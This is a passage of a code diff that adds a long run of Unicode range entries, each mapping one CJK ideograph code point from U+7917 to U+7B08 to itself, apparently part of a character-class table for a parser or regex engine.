+ ["\u7917", "\u7917"], /* CJK Ideograph */
+ ["\u7918", "\u7918"], /* CJK Ideograph */
+ ["\u7919", "\u7919"], /* CJK Ideograph */
+ ["\u791A", "\u791A"], /* CJK Ideograph */
+ ["\u791B", "\u791B"], /* CJK Ideograph */
+ ["\u791C", "\u791C"], /* CJK Ideograph */
+ ["\u791D", "\u791D"], /* CJK Ideograph */
+ ["\u791E", "\u791E"], /* CJK Ideograph */
+ ["\u791F", "\u791F"], /* CJK Ideograph */
+ ["\u7920", "\u7920"], /* CJK Ideograph */
+ ["\u7921", "\u7921"], /* CJK Ideograph */
+ ["\u7922", "\u7922"], /* CJK Ideograph */
+ ["\u7923", "\u7923"], /* CJK Ideograph */
+ ["\u7924", "\u7924"], /* CJK Ideograph */
+ ["\u7925", "\u7925"], /* CJK Ideograph */
+ ["\u7926", "\u7926"], /* CJK Ideograph */
+ ["\u7927", "\u7927"], /* CJK Ideograph */
+ ["\u7928", "\u7928"], /* CJK Ideograph */
+ ["\u7929", "\u7929"], /* CJK Ideograph */
+ ["\u792A", "\u792A"], /* CJK Ideograph */
+ ["\u792B", "\u792B"], /* CJK Ideograph */
+ ["\u792C", "\u792C"], /* CJK Ideograph */
+ ["\u792D", "\u792D"], /* CJK Ideograph */
+ ["\u792E", "\u792E"], /* CJK Ideograph */
+ ["\u792F", "\u792F"], /* CJK Ideograph */
+ ["\u7930", "\u7930"], /* CJK Ideograph */
+ ["\u7931", "\u7931"], /* CJK Ideograph */
+ ["\u7932", "\u7932"], /* CJK Ideograph */
+ ["\u7933", "\u7933"], /* CJK Ideograph */
+ ["\u7934", "\u7934"], /* CJK Ideograph */
+ ["\u7935", "\u7935"], /* CJK Ideograph */
+ ["\u7936", "\u7936"], /* CJK Ideograph */
+ ["\u7937", "\u7937"], /* CJK Ideograph */
+ ["\u7938", "\u7938"], /* CJK Ideograph */
+ ["\u7939", "\u7939"], /* CJK Ideograph */
+ ["\u793A", "\u793A"], /* CJK Ideograph */
+ ["\u793B", "\u793B"], /* CJK Ideograph */
+ ["\u793C", "\u793C"], /* CJK Ideograph */
+ ["\u793D", "\u793D"], /* CJK Ideograph */
+ ["\u793E", "\u793E"], /* CJK Ideograph */
+ ["\u793F", "\u793F"], /* CJK Ideograph */
+ ["\u7940", "\u7940"], /* CJK Ideograph */
+ ["\u7941", "\u7941"], /* CJK Ideograph */
+ ["\u7942", "\u7942"], /* CJK Ideograph */
+ ["\u7943", "\u7943"], /* CJK Ideograph */
+ ["\u7944", "\u7944"], /* CJK Ideograph */
+ ["\u7945", "\u7945"], /* CJK Ideograph */
+ ["\u7946", "\u7946"], /* CJK Ideograph */
+ ["\u7947", "\u7947"], /* CJK Ideograph */
+ ["\u7948", "\u7948"], /* CJK Ideograph */
+ ["\u7949", "\u7949"], /* CJK Ideograph */
+ ["\u794A", "\u794A"], /* CJK Ideograph */
+ ["\u794B", "\u794B"], /* CJK Ideograph */
+ ["\u794C", "\u794C"], /* CJK Ideograph */
+ ["\u794D", "\u794D"], /* CJK Ideograph */
+ ["\u794E", "\u794E"], /* CJK Ideograph */
+ ["\u794F", "\u794F"], /* CJK Ideograph */
+ ["\u7950", "\u7950"], /* CJK Ideograph */
+ ["\u7951", "\u7951"], /* CJK Ideograph */
+ ["\u7952", "\u7952"], /* CJK Ideograph */
+ ["\u7953", "\u7953"], /* CJK Ideograph */
+ ["\u7954", "\u7954"], /* CJK Ideograph */
+ ["\u7955", "\u7955"], /* CJK Ideograph */
+ ["\u7956", "\u7956"], /* CJK Ideograph */
+ ["\u7957", "\u7957"], /* CJK Ideograph */
+ ["\u7958", "\u7958"], /* CJK Ideograph */
+ ["\u7959", "\u7959"], /* CJK Ideograph */
+ ["\u795A", "\u795A"], /* CJK Ideograph */
+ ["\u795B", "\u795B"], /* CJK Ideograph */
+ ["\u795C", "\u795C"], /* CJK Ideograph */
+ ["\u795D", "\u795D"], /* CJK Ideograph */
+ ["\u795E", "\u795E"], /* CJK Ideograph */
+ ["\u795F", "\u795F"], /* CJK Ideograph */
+ ["\u7960", "\u7960"], /* CJK Ideograph */
+ ["\u7961", "\u7961"], /* CJK Ideograph */
+ ["\u7962", "\u7962"], /* CJK Ideograph */
+ ["\u7963", "\u7963"], /* CJK Ideograph */
+ ["\u7964", "\u7964"], /* CJK Ideograph */
+ ["\u7965", "\u7965"], /* CJK Ideograph */
+ ["\u7966", "\u7966"], /* CJK Ideograph */
+ ["\u7967", "\u7967"], /* CJK Ideograph */
+ ["\u7968", "\u7968"], /* CJK Ideograph */
+ ["\u7969", "\u7969"], /* CJK Ideograph */
+ ["\u796A", "\u796A"], /* CJK Ideograph */
+ ["\u796B", "\u796B"], /* CJK Ideograph */
+ ["\u796C", "\u796C"], /* CJK Ideograph */
+ ["\u796D", "\u796D"], /* CJK Ideograph */
+ ["\u796E", "\u796E"], /* CJK Ideograph */
+ ["\u796F", "\u796F"], /* CJK Ideograph */
+ ["\u7970", "\u7970"], /* CJK Ideograph */
+ ["\u7971", "\u7971"], /* CJK Ideograph */
+ ["\u7972", "\u7972"], /* CJK Ideograph */
+ ["\u7973", "\u7973"], /* CJK Ideograph */
+ ["\u7974", "\u7974"], /* CJK Ideograph */
+ ["\u7975", "\u7975"], /* CJK Ideograph */
+ ["\u7976", "\u7976"], /* CJK Ideograph */
+ ["\u7977", "\u7977"], /* CJK Ideograph */
+ ["\u7978", "\u7978"], /* CJK Ideograph */
+ ["\u7979", "\u7979"], /* CJK Ideograph */
+ ["\u797A", "\u797A"], /* CJK Ideograph */
+ ["\u797B", "\u797B"], /* CJK Ideograph */
+ ["\u797C", "\u797C"], /* CJK Ideograph */
+ ["\u797D", "\u797D"], /* CJK Ideograph */
+ ["\u797E", "\u797E"], /* CJK Ideograph */
+ ["\u797F", "\u797F"], /* CJK Ideograph */
+ ["\u7980", "\u7980"], /* CJK Ideograph */
+ ["\u7981", "\u7981"], /* CJK Ideograph */
+ ["\u7982", "\u7982"], /* CJK Ideograph */
+ ["\u7983", "\u7983"], /* CJK Ideograph */
+ ["\u7984", "\u7984"], /* CJK Ideograph */
+ ["\u7985", "\u7985"], /* CJK Ideograph */
+ ["\u7986", "\u7986"], /* CJK Ideograph */
+ ["\u7987", "\u7987"], /* CJK Ideograph */
+ ["\u7988", "\u7988"], /* CJK Ideograph */
+ ["\u7989", "\u7989"], /* CJK Ideograph */
+ ["\u798A", "\u798A"], /* CJK Ideograph */
+ ["\u798B", "\u798B"], /* CJK Ideograph */
+ ["\u798C", "\u798C"], /* CJK Ideograph */
+ ["\u798D", "\u798D"], /* CJK Ideograph */
+ ["\u798E", "\u798E"], /* CJK Ideograph */
+ ["\u798F", "\u798F"], /* CJK Ideograph */
+ ["\u7990", "\u7990"], /* CJK Ideograph */
+ ["\u7991", "\u7991"], /* CJK Ideograph */
+ ["\u7992", "\u7992"], /* CJK Ideograph */
+ ["\u7993", "\u7993"], /* CJK Ideograph */
+ ["\u7994", "\u7994"], /* CJK Ideograph */
+ ["\u7995", "\u7995"], /* CJK Ideograph */
+ ["\u7996", "\u7996"], /* CJK Ideograph */
+ ["\u7997", "\u7997"], /* CJK Ideograph */
+ ["\u7998", "\u7998"], /* CJK Ideograph */
+ ["\u7999", "\u7999"], /* CJK Ideograph */
+ ["\u799A", "\u799A"], /* CJK Ideograph */
+ ["\u799B", "\u799B"], /* CJK Ideograph */
+ ["\u799C", "\u799C"], /* CJK Ideograph */
+ ["\u799D", "\u799D"], /* CJK Ideograph */
+ ["\u799E", "\u799E"], /* CJK Ideograph */
+ ["\u799F", "\u799F"], /* CJK Ideograph */
+ ["\u79A0", "\u79A0"], /* CJK Ideograph */
+ ["\u79A1", "\u79A1"], /* CJK Ideograph */
+ ["\u79A2", "\u79A2"], /* CJK Ideograph */
+ ["\u79A3", "\u79A3"], /* CJK Ideograph */
+ ["\u79A4", "\u79A4"], /* CJK Ideograph */
+ ["\u79A5", "\u79A5"], /* CJK Ideograph */
+ ["\u79A6", "\u79A6"], /* CJK Ideograph */
+ ["\u79A7", "\u79A7"], /* CJK Ideograph */
+ ["\u79A8", "\u79A8"], /* CJK Ideograph */
+ ["\u79A9", "\u79A9"], /* CJK Ideograph */
+ ["\u79AA", "\u79AA"], /* CJK Ideograph */
+ ["\u79AB", "\u79AB"], /* CJK Ideograph */
+ ["\u79AC", "\u79AC"], /* CJK Ideograph */
+ ["\u79AD", "\u79AD"], /* CJK Ideograph */
+ ["\u79AE", "\u79AE"], /* CJK Ideograph */
+ ["\u79AF", "\u79AF"], /* CJK Ideograph */
+ ["\u79B0", "\u79B0"], /* CJK Ideograph */
+ ["\u79B1", "\u79B1"], /* CJK Ideograph */
+ ["\u79B2", "\u79B2"], /* CJK Ideograph */
+ ["\u79B3", "\u79B3"], /* CJK Ideograph */
+ ["\u79B4", "\u79B4"], /* CJK Ideograph */
+ ["\u79B5", "\u79B5"], /* CJK Ideograph */
+ ["\u79B6", "\u79B6"], /* CJK Ideograph */
+ ["\u79B7", "\u79B7"], /* CJK Ideograph */
+ ["\u79B8", "\u79B8"], /* CJK Ideograph */
+ ["\u79B9", "\u79B9"], /* CJK Ideograph */
+ ["\u79BA", "\u79BA"], /* CJK Ideograph */
+ ["\u79BB", "\u79BB"], /* CJK Ideograph */
+ ["\u79BC", "\u79BC"], /* CJK Ideograph */
+ ["\u79BD", "\u79BD"], /* CJK Ideograph */
+ ["\u79BE", "\u79BE"], /* CJK Ideograph */
+ ["\u79BF", "\u79BF"], /* CJK Ideograph */
+ ["\u79C0", "\u79C0"], /* CJK Ideograph */
+ ["\u79C1", "\u79C1"], /* CJK Ideograph */
+ ["\u79C2", "\u79C2"], /* CJK Ideograph */
+ ["\u79C3", "\u79C3"], /* CJK Ideograph */
+ ["\u79C4", "\u79C4"], /* CJK Ideograph */
+ ["\u79C5", "\u79C5"], /* CJK Ideograph */
+ ["\u79C6", "\u79C6"], /* CJK Ideograph */
+ ["\u79C7", "\u79C7"], /* CJK Ideograph */
+ ["\u79C8", "\u79C8"], /* CJK Ideograph */
+ ["\u79C9", "\u79C9"], /* CJK Ideograph */
+ ["\u79CA", "\u79CA"], /* CJK Ideograph */
+ ["\u79CB", "\u79CB"], /* CJK Ideograph */
+ ["\u79CC", "\u79CC"], /* CJK Ideograph */
+ ["\u79CD", "\u79CD"], /* CJK Ideograph */
+ ["\u79CE", "\u79CE"], /* CJK Ideograph */
+ ["\u79CF", "\u79CF"], /* CJK Ideograph */
+ ["\u79D0", "\u79D0"], /* CJK Ideograph */
+ ["\u79D1", "\u79D1"], /* CJK Ideograph */
+ ["\u79D2", "\u79D2"], /* CJK Ideograph */
+ ["\u79D3", "\u79D3"], /* CJK Ideograph */
+ ["\u79D4", "\u79D4"], /* CJK Ideograph */
+ ["\u79D5", "\u79D5"], /* CJK Ideograph */
+ ["\u79D6", "\u79D6"], /* CJK Ideograph */
+ ["\u79D7", "\u79D7"], /* CJK Ideograph */
+ ["\u79D8", "\u79D8"], /* CJK Ideograph */
+ ["\u79D9", "\u79D9"], /* CJK Ideograph */
+ ["\u79DA", "\u79DA"], /* CJK Ideograph */
+ ["\u79DB", "\u79DB"], /* CJK Ideograph */
+ ["\u79DC", "\u79DC"], /* CJK Ideograph */
+ ["\u79DD", "\u79DD"], /* CJK Ideograph */
+ ["\u79DE", "\u79DE"], /* CJK Ideograph */
+ ["\u79DF", "\u79DF"], /* CJK Ideograph */
+ ["\u79E0", "\u79E0"], /* CJK Ideograph */
+ ["\u79E1", "\u79E1"], /* CJK Ideograph */
+ ["\u79E2", "\u79E2"], /* CJK Ideograph */
+ ["\u79E3", "\u79E3"], /* CJK Ideograph */
+ ["\u79E4", "\u79E4"], /* CJK Ideograph */
+ ["\u79E5", "\u79E5"], /* CJK Ideograph */
+ ["\u79E6", "\u79E6"], /* CJK Ideograph */
+ ["\u79E7", "\u79E7"], /* CJK Ideograph */
+ ["\u79E8", "\u79E8"], /* CJK Ideograph */
+ ["\u79E9", "\u79E9"], /* CJK Ideograph */
+ ["\u79EA", "\u79EA"], /* CJK Ideograph */
+ ["\u79EB", "\u79EB"], /* CJK Ideograph */
+ ["\u79EC", "\u79EC"], /* CJK Ideograph */
+ ["\u79ED", "\u79ED"], /* CJK Ideograph */
+ ["\u79EE", "\u79EE"], /* CJK Ideograph */
+ ["\u79EF", "\u79EF"], /* CJK Ideograph */
+ ["\u79F0", "\u79F0"], /* CJK Ideograph */
+ ["\u79F1", "\u79F1"], /* CJK Ideograph */
+ ["\u79F2", "\u79F2"], /* CJK Ideograph */
+ ["\u79F3", "\u79F3"], /* CJK Ideograph */
+ ["\u79F4", "\u79F4"], /* CJK Ideograph */
+ ["\u79F5", "\u79F5"], /* CJK Ideograph */
+ ["\u79F6", "\u79F6"], /* CJK Ideograph */
+ ["\u79F7", "\u79F7"], /* CJK Ideograph */
+ ["\u79F8", "\u79F8"], /* CJK Ideograph */
+ ["\u79F9", "\u79F9"], /* CJK Ideograph */
+ ["\u79FA", "\u79FA"], /* CJK Ideograph */
+ ["\u79FB", "\u79FB"], /* CJK Ideograph */
+ ["\u79FC", "\u79FC"], /* CJK Ideograph */
+ ["\u79FD", "\u79FD"], /* CJK Ideograph */
+ ["\u79FE", "\u79FE"], /* CJK Ideograph */
+ ["\u79FF", "\u79FF"], /* CJK Ideograph */
+ ["\u7A00", "\u7A00"], /* CJK Ideograph */
+ ["\u7A01", "\u7A01"], /* CJK Ideograph */
+ ["\u7A02", "\u7A02"], /* CJK Ideograph */
+ ["\u7A03", "\u7A03"], /* CJK Ideograph */
+ ["\u7A04", "\u7A04"], /* CJK Ideograph */
+ ["\u7A05", "\u7A05"], /* CJK Ideograph */
+ ["\u7A06", "\u7A06"], /* CJK Ideograph */
+ ["\u7A07", "\u7A07"], /* CJK Ideograph */
+ ["\u7A08", "\u7A08"], /* CJK Ideograph */
+ ["\u7A09", "\u7A09"], /* CJK Ideograph */
+ ["\u7A0A", "\u7A0A"], /* CJK Ideograph */
+ ["\u7A0B", "\u7A0B"], /* CJK Ideograph */
+ ["\u7A0C", "\u7A0C"], /* CJK Ideograph */
+ ["\u7A0D", "\u7A0D"], /* CJK Ideograph */
+ ["\u7A0E", "\u7A0E"], /* CJK Ideograph */
+ ["\u7A0F", "\u7A0F"], /* CJK Ideograph */
+ ["\u7A10", "\u7A10"], /* CJK Ideograph */
+ ["\u7A11", "\u7A11"], /* CJK Ideograph */
+ ["\u7A12", "\u7A12"], /* CJK Ideograph */
+ ["\u7A13", "\u7A13"], /* CJK Ideograph */
+ ["\u7A14", "\u7A14"], /* CJK Ideograph */
+ ["\u7A15", "\u7A15"], /* CJK Ideograph */
+ ["\u7A16", "\u7A16"], /* CJK Ideograph */
+ ["\u7A17", "\u7A17"], /* CJK Ideograph */
+ ["\u7A18", "\u7A18"], /* CJK Ideograph */
+ ["\u7A19", "\u7A19"], /* CJK Ideograph */
+ ["\u7A1A", "\u7A1A"], /* CJK Ideograph */
+ ["\u7A1B", "\u7A1B"], /* CJK Ideograph */
+ ["\u7A1C", "\u7A1C"], /* CJK Ideograph */
+ ["\u7A1D", "\u7A1D"], /* CJK Ideograph */
+ ["\u7A1E", "\u7A1E"], /* CJK Ideograph */
+ ["\u7A1F", "\u7A1F"], /* CJK Ideograph */
+ ["\u7A20", "\u7A20"], /* CJK Ideograph */
+ ["\u7A21", "\u7A21"], /* CJK Ideograph */
+ ["\u7A22", "\u7A22"], /* CJK Ideograph */
+ ["\u7A23", "\u7A23"], /* CJK Ideograph */
+ ["\u7A24", "\u7A24"], /* CJK Ideograph */
+ ["\u7A25", "\u7A25"], /* CJK Ideograph */
+ ["\u7A26", "\u7A26"], /* CJK Ideograph */
+ ["\u7A27", "\u7A27"], /* CJK Ideograph */
+ ["\u7A28", "\u7A28"], /* CJK Ideograph */
+ ["\u7A29", "\u7A29"], /* CJK Ideograph */
+ ["\u7A2A", "\u7A2A"], /* CJK Ideograph */
+ ["\u7A2B", "\u7A2B"], /* CJK Ideograph */
+ ["\u7A2C", "\u7A2C"], /* CJK Ideograph */
+ ["\u7A2D", "\u7A2D"], /* CJK Ideograph */
+ ["\u7A2E", "\u7A2E"], /* CJK Ideograph */
+ ["\u7A2F", "\u7A2F"], /* CJK Ideograph */
+ ["\u7A30", "\u7A30"], /* CJK Ideograph */
+ ["\u7A31", "\u7A31"], /* CJK Ideograph */
+ ["\u7A32", "\u7A32"], /* CJK Ideograph */
+ ["\u7A33", "\u7A33"], /* CJK Ideograph */
+ ["\u7A34", "\u7A34"], /* CJK Ideograph */
+ ["\u7A35", "\u7A35"], /* CJK Ideograph */
+ ["\u7A36", "\u7A36"], /* CJK Ideograph */
+ ["\u7A37", "\u7A37"], /* CJK Ideograph */
+ ["\u7A38", "\u7A38"], /* CJK Ideograph */
+ ["\u7A39", "\u7A39"], /* CJK Ideograph */
+ ["\u7A3A", "\u7A3A"], /* CJK Ideograph */
+ ["\u7A3B", "\u7A3B"], /* CJK Ideograph */
+ ["\u7A3C", "\u7A3C"], /* CJK Ideograph */
+ ["\u7A3D", "\u7A3D"], /* CJK Ideograph */
+ ["\u7A3E", "\u7A3E"], /* CJK Ideograph */
+ ["\u7A3F", "\u7A3F"], /* CJK Ideograph */
+ ["\u7A40", "\u7A40"], /* CJK Ideograph */
+ ["\u7A41", "\u7A41"], /* CJK Ideograph */
+ ["\u7A42", "\u7A42"], /* CJK Ideograph */
+ ["\u7A43", "\u7A43"], /* CJK Ideograph */
+ ["\u7A44", "\u7A44"], /* CJK Ideograph */
+ ["\u7A45", "\u7A45"], /* CJK Ideograph */
+ ["\u7A46", "\u7A46"], /* CJK Ideograph */
+ ["\u7A47", "\u7A47"], /* CJK Ideograph */
+ ["\u7A48", "\u7A48"], /* CJK Ideograph */
+ ["\u7A49", "\u7A49"], /* CJK Ideograph */
+ ["\u7A4A", "\u7A4A"], /* CJK Ideograph */
+ ["\u7A4B", "\u7A4B"], /* CJK Ideograph */
+ ["\u7A4C", "\u7A4C"], /* CJK Ideograph */
+ ["\u7A4D", "\u7A4D"], /* CJK Ideograph */
+ ["\u7A4E", "\u7A4E"], /* CJK Ideograph */
+ ["\u7A4F", "\u7A4F"], /* CJK Ideograph */
+ ["\u7A50", "\u7A50"], /* CJK Ideograph */
+ ["\u7A51", "\u7A51"], /* CJK Ideograph */
+ ["\u7A52", "\u7A52"], /* CJK Ideograph */
+ ["\u7A53", "\u7A53"], /* CJK Ideograph */
+ ["\u7A54", "\u7A54"], /* CJK Ideograph */
+ ["\u7A55", "\u7A55"], /* CJK Ideograph */
+ ["\u7A56", "\u7A56"], /* CJK Ideograph */
+ ["\u7A57", "\u7A57"], /* CJK Ideograph */
+ ["\u7A58", "\u7A58"], /* CJK Ideograph */
+ ["\u7A59", "\u7A59"], /* CJK Ideograph */
+ ["\u7A5A", "\u7A5A"], /* CJK Ideograph */
+ ["\u7A5B", "\u7A5B"], /* CJK Ideograph */
+ ["\u7A5C", "\u7A5C"], /* CJK Ideograph */
+ ["\u7A5D", "\u7A5D"], /* CJK Ideograph */
+ ["\u7A5E", "\u7A5E"], /* CJK Ideograph */
+ ["\u7A5F", "\u7A5F"], /* CJK Ideograph */
+ ["\u7A60", "\u7A60"], /* CJK Ideograph */
+ ["\u7A61", "\u7A61"], /* CJK Ideograph */
+ ["\u7A62", "\u7A62"], /* CJK Ideograph */
+ ["\u7A63", "\u7A63"], /* CJK Ideograph */
+ ["\u7A64", "\u7A64"], /* CJK Ideograph */
+ ["\u7A65", "\u7A65"], /* CJK Ideograph */
+ ["\u7A66", "\u7A66"], /* CJK Ideograph */
+ ["\u7A67", "\u7A67"], /* CJK Ideograph */
+ ["\u7A68", "\u7A68"], /* CJK Ideograph */
+ ["\u7A69", "\u7A69"], /* CJK Ideograph */
+ ["\u7A6A", "\u7A6A"], /* CJK Ideograph */
+ ["\u7A6B", "\u7A6B"], /* CJK Ideograph */
+ ["\u7A6C", "\u7A6C"], /* CJK Ideograph */
+ ["\u7A6D", "\u7A6D"], /* CJK Ideograph */
+ ["\u7A6E", "\u7A6E"], /* CJK Ideograph */
+ ["\u7A6F", "\u7A6F"], /* CJK Ideograph */
+ ["\u7A70", "\u7A70"], /* CJK Ideograph */
+ ["\u7A71", "\u7A71"], /* CJK Ideograph */
+ ["\u7A72", "\u7A72"], /* CJK Ideograph */
+ ["\u7A73", "\u7A73"], /* CJK Ideograph */
+ ["\u7A74", "\u7A74"], /* CJK Ideograph */
+ ["\u7A75", "\u7A75"], /* CJK Ideograph */
+ ["\u7A76", "\u7A76"], /* CJK Ideograph */
+ ["\u7A77", "\u7A77"], /* CJK Ideograph */
+ ["\u7A78", "\u7A78"], /* CJK Ideograph */
+ ["\u7A79", "\u7A79"], /* CJK Ideograph */
+ ["\u7A7A", "\u7A7A"], /* CJK Ideograph */
+ ["\u7A7B", "\u7A7B"], /* CJK Ideograph */
+ ["\u7A7C", "\u7A7C"], /* CJK Ideograph */
+ ["\u7A7D", "\u7A7D"], /* CJK Ideograph */
+ ["\u7A7E", "\u7A7E"], /* CJK Ideograph */
+ ["\u7A7F", "\u7A7F"], /* CJK Ideograph */
+ ["\u7A80", "\u7A80"], /* CJK Ideograph */
+ ["\u7A81", "\u7A81"], /* CJK Ideograph */
+ ["\u7A82", "\u7A82"], /* CJK Ideograph */
+ ["\u7A83", "\u7A83"], /* CJK Ideograph */
+ ["\u7A84", "\u7A84"], /* CJK Ideograph */
+ ["\u7A85", "\u7A85"], /* CJK Ideograph */
+ ["\u7A86", "\u7A86"], /* CJK Ideograph */
+ ["\u7A87", "\u7A87"], /* CJK Ideograph */
+ ["\u7A88", "\u7A88"], /* CJK Ideograph */
+ ["\u7A89", "\u7A89"], /* CJK Ideograph */
+ ["\u7A8A", "\u7A8A"], /* CJK Ideograph */
+ ["\u7A8B", "\u7A8B"], /* CJK Ideograph */
+ ["\u7A8C", "\u7A8C"], /* CJK Ideograph */
+ ["\u7A8D", "\u7A8D"], /* CJK Ideograph */
+ ["\u7A8E", "\u7A8E"], /* CJK Ideograph */
+ ["\u7A8F", "\u7A8F"], /* CJK Ideograph */
+ ["\u7A90", "\u7A90"], /* CJK Ideograph */
+ ["\u7A91", "\u7A91"], /* CJK Ideograph */
+ ["\u7A92", "\u7A92"], /* CJK Ideograph */
+ ["\u7A93", "\u7A93"], /* CJK Ideograph */
+ ["\u7A94", "\u7A94"], /* CJK Ideograph */
+ ["\u7A95", "\u7A95"], /* CJK Ideograph */
+ ["\u7A96", "\u7A96"], /* CJK Ideograph */
+ ["\u7A97", "\u7A97"], /* CJK Ideograph */
+ ["\u7A98", "\u7A98"], /* CJK Ideograph */
+ ["\u7A99", "\u7A99"], /* CJK Ideograph */
+ ["\u7A9A", "\u7A9A"], /* CJK Ideograph */
+ ["\u7A9B", "\u7A9B"], /* CJK Ideograph */
+ ["\u7A9C", "\u7A9C"], /* CJK Ideograph */
+ ["\u7A9D", "\u7A9D"], /* CJK Ideograph */
+ ["\u7A9E", "\u7A9E"], /* CJK Ideograph */
+ ["\u7A9F", "\u7A9F"], /* CJK Ideograph */
+ ["\u7AA0", "\u7AA0"], /* CJK Ideograph */
+ ["\u7AA1", "\u7AA1"], /* CJK Ideograph */
+ ["\u7AA2", "\u7AA2"], /* CJK Ideograph */
+ ["\u7AA3", "\u7AA3"], /* CJK Ideograph */
+ ["\u7AA4", "\u7AA4"], /* CJK Ideograph */
+ ["\u7AA5", "\u7AA5"], /* CJK Ideograph */
+ ["\u7AA6", "\u7AA6"], /* CJK Ideograph */
+ ["\u7AA7", "\u7AA7"], /* CJK Ideograph */
+ ["\u7AA8", "\u7AA8"], /* CJK Ideograph */
+ ["\u7AA9", "\u7AA9"], /* CJK Ideograph */
+ ["\u7AAA", "\u7AAA"], /* CJK Ideograph */
+ ["\u7AAB", "\u7AAB"], /* CJK Ideograph */
+ ["\u7AAC", "\u7AAC"], /* CJK Ideograph */
+ ["\u7AAD", "\u7AAD"], /* CJK Ideograph */
+ ["\u7AAE", "\u7AAE"], /* CJK Ideograph */
+ ["\u7AAF", "\u7AAF"], /* CJK Ideograph */
+ ["\u7AB0", "\u7AB0"], /* CJK Ideograph */
+ ["\u7AB1", "\u7AB1"], /* CJK Ideograph */
+ ["\u7AB2", "\u7AB2"], /* CJK Ideograph */
+ ["\u7AB3", "\u7AB3"], /* CJK Ideograph */
+ ["\u7AB4", "\u7AB4"], /* CJK Ideograph */
+ ["\u7AB5", "\u7AB5"], /* CJK Ideograph */
+ ["\u7AB6", "\u7AB6"], /* CJK Ideograph */
+ ["\u7AB7", "\u7AB7"], /* CJK Ideograph */
+ ["\u7AB8", "\u7AB8"], /* CJK Ideograph */
+ ["\u7AB9", "\u7AB9"], /* CJK Ideograph */
+ ["\u7ABA", "\u7ABA"], /* CJK Ideograph */
+ ["\u7ABB", "\u7ABB"], /* CJK Ideograph */
+ ["\u7ABC", "\u7ABC"], /* CJK Ideograph */
+ ["\u7ABD", "\u7ABD"], /* CJK Ideograph */
+ ["\u7ABE", "\u7ABE"], /* CJK Ideograph */
+ ["\u7ABF", "\u7ABF"], /* CJK Ideograph */
+ ["\u7AC0", "\u7AC0"], /* CJK Ideograph */
+ ["\u7AC1", "\u7AC1"], /* CJK Ideograph */
+ ["\u7AC2", "\u7AC2"], /* CJK Ideograph */
+ ["\u7AC3", "\u7AC3"], /* CJK Ideograph */
+ ["\u7AC4", "\u7AC4"], /* CJK Ideograph */
+ ["\u7AC5", "\u7AC5"], /* CJK Ideograph */
+ ["\u7AC6", "\u7AC6"], /* CJK Ideograph */
+ ["\u7AC7", "\u7AC7"], /* CJK Ideograph */
+ ["\u7AC8", "\u7AC8"], /* CJK Ideograph */
+ ["\u7AC9", "\u7AC9"], /* CJK Ideograph */
+ ["\u7ACA", "\u7ACA"], /* CJK Ideograph */
+ ["\u7ACB", "\u7ACB"], /* CJK Ideograph */
+ ["\u7ACC", "\u7ACC"], /* CJK Ideograph */
+ ["\u7ACD", "\u7ACD"], /* CJK Ideograph */
+ ["\u7ACE", "\u7ACE"], /* CJK Ideograph */
+ ["\u7ACF", "\u7ACF"], /* CJK Ideograph */
+ ["\u7AD0", "\u7AD0"], /* CJK Ideograph */
+ ["\u7AD1", "\u7AD1"], /* CJK Ideograph */
+ ["\u7AD2", "\u7AD2"], /* CJK Ideograph */
+ ["\u7AD3", "\u7AD3"], /* CJK Ideograph */
+ ["\u7AD4", "\u7AD4"], /* CJK Ideograph */
+ ["\u7AD5", "\u7AD5"], /* CJK Ideograph */
+ ["\u7AD6", "\u7AD6"], /* CJK Ideograph */
+ ["\u7AD7", "\u7AD7"], /* CJK Ideograph */
+ ["\u7AD8", "\u7AD8"], /* CJK Ideograph */
+ ["\u7AD9", "\u7AD9"], /* CJK Ideograph */
+ ["\u7ADA", "\u7ADA"], /* CJK Ideograph */
+ ["\u7ADB", "\u7ADB"], /* CJK Ideograph */
+ ["\u7ADC", "\u7ADC"], /* CJK Ideograph */
+ ["\u7ADD", "\u7ADD"], /* CJK Ideograph */
+ ["\u7ADE", "\u7ADE"], /* CJK Ideograph */
+ ["\u7ADF", "\u7ADF"], /* CJK Ideograph */
+ ["\u7AE0", "\u7AE0"], /* CJK Ideograph */
+ ["\u7AE1", "\u7AE1"], /* CJK Ideograph */
+ ["\u7AE2", "\u7AE2"], /* CJK Ideograph */
+ ["\u7AE3", "\u7AE3"], /* CJK Ideograph */
+ ["\u7AE4", "\u7AE4"], /* CJK Ideograph */
+ ["\u7AE5", "\u7AE5"], /* CJK Ideograph */
+ ["\u7AE6", "\u7AE6"], /* CJK Ideograph */
+ ["\u7AE7", "\u7AE7"], /* CJK Ideograph */
+ ["\u7AE8", "\u7AE8"], /* CJK Ideograph */
+ ["\u7AE9", "\u7AE9"], /* CJK Ideograph */
+ ["\u7AEA", "\u7AEA"], /* CJK Ideograph */
+ ["\u7AEB", "\u7AEB"], /* CJK Ideograph */
+ ["\u7AEC", "\u7AEC"], /* CJK Ideograph */
+ ["\u7AED", "\u7AED"], /* CJK Ideograph */
+ ["\u7AEE", "\u7AEE"], /* CJK Ideograph */
+ ["\u7AEF", "\u7AEF"], /* CJK Ideograph */
+ ["\u7AF0", "\u7AF0"], /* CJK Ideograph */
+ ["\u7AF1", "\u7AF1"], /* CJK Ideograph */
+ ["\u7AF2", "\u7AF2"], /* CJK Ideograph */
+ ["\u7AF3", "\u7AF3"], /* CJK Ideograph */
+ ["\u7AF4", "\u7AF4"], /* CJK Ideograph */
+ ["\u7AF5", "\u7AF5"], /* CJK Ideograph */
+ ["\u7AF6", "\u7AF6"], /* CJK Ideograph */
+ ["\u7AF7", "\u7AF7"], /* CJK Ideograph */
+ ["\u7AF8", "\u7AF8"], /* CJK Ideograph */
+ ["\u7AF9", "\u7AF9"], /* CJK Ideograph */
+ ["\u7AFA", "\u7AFA"], /* CJK Ideograph */
+ ["\u7AFB", "\u7AFB"], /* CJK Ideograph */
+ ["\u7AFC", "\u7AFC"], /* CJK Ideograph */
+ ["\u7AFD", "\u7AFD"], /* CJK Ideograph */
+ ["\u7AFE", "\u7AFE"], /* CJK Ideograph */
+ ["\u7AFF", "\u7AFF"], /* CJK Ideograph */
+ ["\u7B00", "\u7B00"], /* CJK Ideograph */
+ ["\u7B01", "\u7B01"], /* CJK Ideograph */
+ ["\u7B02", "\u7B02"], /* CJK Ideograph */
+ ["\u7B03", "\u7B03"], /* CJK Ideograph */
+ ["\u7B04", "\u7B04"], /* CJK Ideograph */
+ ["\u7B05", "\u7B05"], /* CJK Ideograph */
+ ["\u7B06", "\u7B06"], /* CJK Ideograph */
+ ["\u7B07", "\u7B07"], /* CJK Ideograph */
+ ["\u7B08", "\u7B08"], /* CJK Ideograph */
